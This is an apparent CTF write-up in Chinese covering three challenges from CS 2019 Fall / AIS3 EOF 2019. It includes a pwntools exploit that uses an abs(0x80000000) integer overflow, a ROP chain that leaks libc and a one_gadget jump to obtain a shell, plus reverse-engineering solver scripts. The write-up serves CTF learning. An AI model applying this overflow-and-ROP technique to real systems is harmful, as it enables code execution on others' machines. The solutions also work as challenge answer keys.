###### tags: `程安` `CTF`
# CS 2019 Fall & AIS3 EOF 2019 - by ZR
### Pwn - Impossible
* 就 `abs(0x80000000)` overflow
```python=
pwn.sendlineafter("Size: ", str(0x80000000))
payload = flat(
"A" * (0x100 + 8),
pop_rdi, puts_got,
puts_plt,
main
)
pwn.sendafter("It's safe now :)\n", payload)
# get libc base address here
...
pwn.sendlineafter("Size: ", str(0x80000000))
payload = flat(
"A" * (0x100 + 8),
pop_r12_r13_r14_r15, 0, 0, 0, 0,
one_gadget_offset + libc.address
)
pwn.sendafter("It's safe now :)\n", payload)
# get shell
```
:::success
![](https://i.imgur.com/b8PeVb3.png)
:::
---
### Reverse - PokemonGo
* 就 trace `main.PikaCheck` 的部份,然後把 unrolled loop 弄回去
```cpp=
#include <iostream>
using namespace std;
bool PikaCheck(string input) {
int t0[20];
for (int i = 0; i < input.size(); i++) {
int t3 = (int)input[i];
int t8 = (int)input[(i + 1) % input.size()];
t0[i] = t3 + t8;
}
int offset[20] = {185, 212, 172, 145, 185,
212, 172, 177, 217, 212,
204, 177, 185, 212, 204,
209, 161, 124, 172, 177};
int sum = 0;
for (int i = 0; i < 20; i++) {
sum += t0[i] - offset[i];
}
return (sum == 0);
}
```
* 這邊做一個大膽的假設(通靈) : `flag[i] + flag[i+1] == offset[i]`
```python=
offset = [185, 212, 172, 145, 185,
212, 172, 177, 217, 212,
204, 177, 185, 212, 204,
209, 161, 124, 172, 177]
alpha_numeric = [i for i in range(48, 48 + 9)] # 0 ~ 9
alpha_numeric += [i for i in range(65, 65 + 25)] # A ~ Z
alpha_numeric += [i for i in range(97, 97 + 25)] # a ~ z
for c in alpha_numeric:
flag = [c]
for i in offset:
if i - flag[-1] in alpha_numeric:
flag += [i - flag[-1]]
else:
break
if len(flag) == 21:
print("FLAG{", *[chr(_) for _ in flag[:20]], "}", sep="")
```
:::success
![](https://i.imgur.com/j3LvCa3.png)
:::
---
### Reverse - H0W
* pyc 先反編
```python=
import sys, struct
from terrynini import *
if len(sys.argv) != 2:
print('Usage: python3 H0W.py filename')
exit(0)
nini3()
f = open(sys.argv[1], 'rb').read()
if len(f) % 4 != 0:
f += (4 - len(f) % 4) * b'\x00'
nini1()
nini4()
for i in range(0, len(f), 4):
nini6(nini5(struct.unpack('<i', f[i:i + 4])[0]))
for i in list(map(ord, nini2())):
nini6(i)
print('Complete')
```
* 去`terrynini.so`裡面找`niniX()`,然後用 IDA 反編然後修改一下
```cpp=
int GitHub;
FILE *JetBrains;
void nini3() { JetBrains = fopen64("output.txt", "w"); }
void nini1() { GitHub = time(0LL); }
void nini4() { srand(GitHub); }
void nini6(int a2) { fwrite(&a2, 1uLL, 4uLL, JetBrains); }
char *nini2() {
struct tm *v0 = gmtime((const time_t *)&GitHub);
char *v3;
__sprintf_chk(&v3, 1LL, 40LL, "%d%02d%02d%02d%02d%02d", ...);
return v3;
}
long long nini5(int v5) {
switch (rand() % 4) {
case 0:
return ichinokata(v5);
case 1:
return ninokata(v5);
case 2:
return sannokata(v5);
case 3:
return yonnokata(v5);
}
}
```
* 先去`output.txt`找`srand()`的 seed
```python=
from pwn import *
context.arch = "amd64"
f = open("output.txt", "rb").read()
data = f[-14*4:]
for i in range(0, 14 * 4, 4):
print(chr(u32(data[i: i + 4])), end="")
# gmtime(GitHub) = 20190803052514
```
* 寫 script 解密回來
* 雷點
* `struct tm`轉回`time_t`的時候只設`tm_wday`沒用,`tm_mday`才是重點
```cpp=
// gmtime(GitHub) = 2019 08 03 05 25 14
v0->tm_year = (2019 - 1900);
v0->tm_mon = 8; // Sep
v0->tm_wday = 3;
v0->tm_hour = 5;
v0->tm_min = 25;
v0->tm_sec = 14;
// guess tm_mday : 4 | 11 | 17 | 25 in Sep
v0->tm_mday = 11; // correct one
GitHub = timegm(v0);
```
* `ror` `rol`都要用`unsigned int`,不然會解到壞掉
```cpp=
u_int rol(u_int n, u_int d) {
return (n << d) | (n >> (32 - d));
}
u_int ror(u_int n, u_int d) {
return (n >> d) | (n << (32 - d));
}
```
* 最後會拿到一張 png (下圖非完整圖)
:::success
![](https://i.imgur.com/d1VXl1w.jpg)
:::